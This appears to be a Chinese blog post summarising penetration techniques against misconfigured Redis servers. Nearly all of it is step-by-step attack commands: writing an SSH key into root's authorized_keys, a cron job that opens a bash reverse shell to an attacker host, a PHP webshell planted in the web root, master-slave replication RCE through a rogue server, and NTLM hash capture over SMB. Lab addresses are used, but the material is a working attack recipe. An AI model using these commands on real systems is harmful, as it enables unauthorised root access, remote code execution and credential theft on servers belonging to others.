Redis渗透思路总结

Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。


Redis 安全风险简介

Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成为攻击者的目标。常见的安全问题包括:

  • 未启用身份验证:Redis 默认不要求密码,攻击者可直接连接。
  • 对外网开放:Redis 默认绑定到 0.0.0.0,允许远程访问。
  • 权限过高:Redis 服务以高权限用户(如 root)运行,攻击者可执行系统级操作。
  • 数据持久化问题:Redis 的持久化机制可能被利用写入恶意文件。
  • 主从复制漏洞:高版本 Redis 的主从复制机制可能被用于远程代码执行(RCE)。

本文将从手动利用和自动化利用两个方面,详细介绍 Redis 渗透测试的思路和方法。


一、手动利用 Redis 漏洞

手动利用 Redis 漏洞需要深入了解 Redis 的配置和命令。以下是几种常见的攻击方法,逐步讲解其原理和操作步骤。

1. 写入 SSH 公钥(开放 SSH 访问)

原理

Redis 的 CONFIG SET 命令允许修改数据库的存储目录和文件名。如果 Redis 以高权限运行,攻击者可以将 SSH 公钥写入目标服务器的 /root/.ssh/authorized_keys 文件,从而获得 SSH 远程访问权限。

步骤

  1. 连接 Redis

    使用 redis-cli 连接目标 Redis 服务器,假设目标 IP 为 172.19.0.2,端口为 6379

    bash 复制代码
    redis-cli -h 172.19.0.2 -p 6379

    如果 Redis 未设置密码,可直接进入命令行界面。

  2. 检查权限

    使用 INFO 命令查看 Redis 的运行用户和权限:

    redis 复制代码
    INFO SERVER

    如果 Redis 以 root 权限运行,则可以尝试写入系统文件。

  3. 设置存储目录和文件名

    将 Redis 的持久化目录设置为 /root/.ssh/,文件名设置为 authorized_keys

    redis 复制代码
    CONFIG SET dir /root/.ssh/
    CONFIG SET dbfilename authorized_keys
  4. 写入 SSH 公钥

    先生成本地 SSH 公钥(假设已生成,位于 ~/.ssh/id_rsa.pub),将其内容写入 Redis:

    redis 复制代码
    SET ssh_key "ssh-rsa AAAAB3NzaC1yc2E... your_public_key"
    SAVE

    SAVE 命令会将数据持久化到 /root/.ssh/authorized_keys

  5. 验证 SSH 访问

    使用对应的私钥尝试 SSH 登录目标服务器:

    bash 复制代码
    ssh -i ~/.ssh/id_rsa root@172.19.0.2

    如果成功,将获得目标服务器的 root 权限。

注意事项

  • 目标服务器必须启用 SSH 服务,且 Redis 需以高权限运行。
  • 如果目录 /root/.ssh/ 不存在,需确认 Redis 是否有权限创建目录。

2. 写入计划任务(Cron 定时任务)

原理

Linux 系统的计划任务(Cron)允许定期执行脚本。如果 Redis 可以写入 Cron 配置文件(如 /etc/crontab),攻击者可添加恶意任务,执行反弹 Shell 或其他恶意命令。

步骤

  1. 连接 Redis

    同上,使用 redis-cli 连接目标 Redis。

  2. 设置存储目录和文件名

    将存储目录设置为 Cron 配置文件目录(如 /etc/),文件名设置为 crontab

    redis 复制代码
    CONFIG SET dir /etc/
    CONFIG SET dbfilename crontab
  3. 写入恶意 Cron 任务

    构造一个反弹 Shell 的 Cron 任务,例如每分钟连接攻击者的监听端口:

    redis 复制代码
    SET cron "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.19.0.3/4444 0>&1'"
    SAVE
  4. 启动监听

    在攻击者机器(假设 IP 为 172.19.0.3)上使用 netcat 监听:

    bash 复制代码
    nc -lvnp 4444
  5. 等待反弹 Shell

    Cron 任务每分钟执行一次,成功后攻击者将收到目标服务器的 Shell。

注意事项

  • 需确认目标系统是否启用了 Cron 服务。
  • 写入的 Cron 任务需符合正确的格式,避免语法错误。

3. 写入 Webshell

原理

如果目标服务器运行 Web 服务,攻击者可通过 Redis 将恶意脚本(如 PHP Webshell)写入 Web 根目录,获得 Web 层面的远程代码执行能力。

步骤

  1. 确认 Web 根目录

    假设 Web 根目录为 /var/www/html/,可通过 CONFIG GET dir 确认 Redis 是否有权限写入该目录。

  2. 设置存储目录和文件名

    redis 复制代码
    CONFIG SET dir /var/www/html/
    CONFIG SET dbfilename shell.php
  3. 写入 Webshell

    写入一个简单的 PHP Webshell:

    redis 复制代码
    SET webshell "<?php system($_GET['cmd']); ?>"
    SAVE
  4. 访问 Webshell

    通过浏览器或 curl 访问 http://172.19.0.2/shell.php?cmd=whoami,执行任意命令。

注意事项

  • 需确认目标服务器的 Web 根目录和文件权限。
  • Webshell 的内容需根据目标 Web 服务器支持的语言(如 PHP、ASP)调整。

4. 主从复制 RCE(高版本 Redis)

原理

Redis 的主从复制功能允许从节点同步主节点的数据。攻击者可伪装为主节点,通过主从复制协议向目标 Redis 从节点推送恶意模块,从而能够执行命令。Redis 5.0 及以上版本支持模块加载,这使得 RCE 成为可能。

步骤

  1. 搭建恶意主节点

    使用工具如 redis-rogue-server(后文详述)或手动搭建 Redis 主节点。

  2. 设置目标为从节点

    连接目标 Redis,设置为攻击者控制的主节点的从节点:

    redis 复制代码
    SLAVEOF 172.19.0.3 15000
  3. 加载恶意模块

    攻击者的主节点推送恶意模块(如 exp.so),目标 Redis 加载后执行代码。

注意事项

  • 需确保目标 Redis 版本支持模块加载。
  • 网络需允许目标服务器与攻击者服务器通信。

5. NTLM Hash 泄露(结合 SMB 攻击)

原理

如果目标服务器运行 Windows 系统,攻击者可利用 Redis 写入恶意文件,诱导系统访问攻击者的 SMB 服务器,从而捕获 NTLM Hash,用于后续破解或传递攻击(Pass-the-Hash)。

步骤

  1. 搭建 SMB 服务器

    在攻击者机器上运行 impacket-smbserver

    bash 复制代码
    python3 smbserver.py SHARE /tmp
  2. 写入恶意文件

    使用 Redis 将 UNC 路径写入目标系统的关键文件,诱导访问:

    redis 复制代码
    CONFIG SET dir /tmp
    CONFIG SET dbfilename test.txt
    SET smb "\\172.19.0.3\SHARE\test"
    SAVE
  3. 捕获 NTLM Hash

    当目标系统尝试访问 SMB 路径时,攻击者的 SMB 服务器捕获 NTLM Hash。

  4. 破解或利用 Hash

    使用工具如 hashcat 破解 Hash,或通过 impacket 进行 Pass-the-Hash 攻击。

注意事项

  • 适用于 Windows 环境,需确认目标系统是否会自动访问 UNC 路径。
  • 需确保网络连通性。

二、半自动利用:Redis Rogue Server

工具
Awesome-Redis-Rogue-Server

原理

通过伪装 Redis 主节点,利用主从复制协议加载恶意模块(如 exp.so),实现 RCE。

步骤

  1. 准备环境

    • 攻击者机器:172.19.0.3
    • 目标 Redis:172.19.0.2:6379
    • 下载并准备恶意模块 exp.so
  2. 运行 Rogue Server

    在攻击者机器上运行工具:

    bash 复制代码
    python3 redis-rogue-server.py -v -path module.so
  3. 配置目标 Redis

    连接目标 Redis,设置存储目录和文件名:

    redis 复制代码
    CONFIG SET dir /tmp
    CONFIG SET dbfilename exp.so
    SLAVEOF 172.19.0.3 15000
  4. 触发 RCE

    Rogue Server 将推送 exp.so 到目标 Redis,加载后执行恶意代码。

注意事项

  • 确保模块文件与目标 Redis 版本兼容。
  • 网络防火墙需允许主从复制流量。

三、主从复制自动化利用

准备环境

  • 攻击者机器:172.19.0.3
  • 目标 Redis:172.19.0.2:6379

redis-rogue-server

工具地址
https://github.com/n0b0dyCN/redis-rogue-server

运行工具

在攻击者机器上执行以下命令,指定本地监听 IP 和目标 Redis IP:

bash 复制代码
python3 redis-rogue-server.py --lhost 172.19.0.3 --rhost 172.19.0.2

redis-rce

工具地址
https://github.com/Ridter/redis-rce

运行工具

执行以下命令,指定目标 Redis IP 和本地监听 IP:

bash 复制代码
python redis-rce.py -r 172.19.0.2 -L 172.19.0.3

注意事项

  • 需确保攻击者和目标机器网络双向连通。
  • 工具可能因 Redis 版本或配置不同而失败,需结合手动方法排查。
相关推荐
不太可爱的大白19 分钟前
Mysql:分库分表
数据库·mysql
十五年专注C++开发1 小时前
hiredis: 一个轻量级、高性能的 C 语言 Redis 客户端库
开发语言·数据库·c++·redis·缓存
bianguanyue2 小时前
SQLite密码修改故障排查:RSA加密随机性导致的数据库匹配问题
数据库·sqlite·c#
亚马逊云开发者2 小时前
将 Go 应用从 x86 平台迁移至 Amazon Graviton:场景剖析与最佳实践
linux·数据库·golang
张先shen3 小时前
亿级流量下的缓存架构设计:Redis+Caffeine多级缓存实战
数据库·redis·缓存
~ 小团子4 小时前
每日一SQL 【各赛事的用户注册率】
数据库·sql
llm2009094 小时前
Jmeter的JDBC数据库连接
数据库·jmeter
betazhou4 小时前
SQL server之版本的初认知
数据库·oracle·goldengate·sql server·ogg·gdr
superonion06204 小时前
【DB2】load报错SQL3501W、SQL3109N、SQL2036N
数据库
~ 小团子4 小时前
每日一SQL 【每月交易 I】
数据库·sql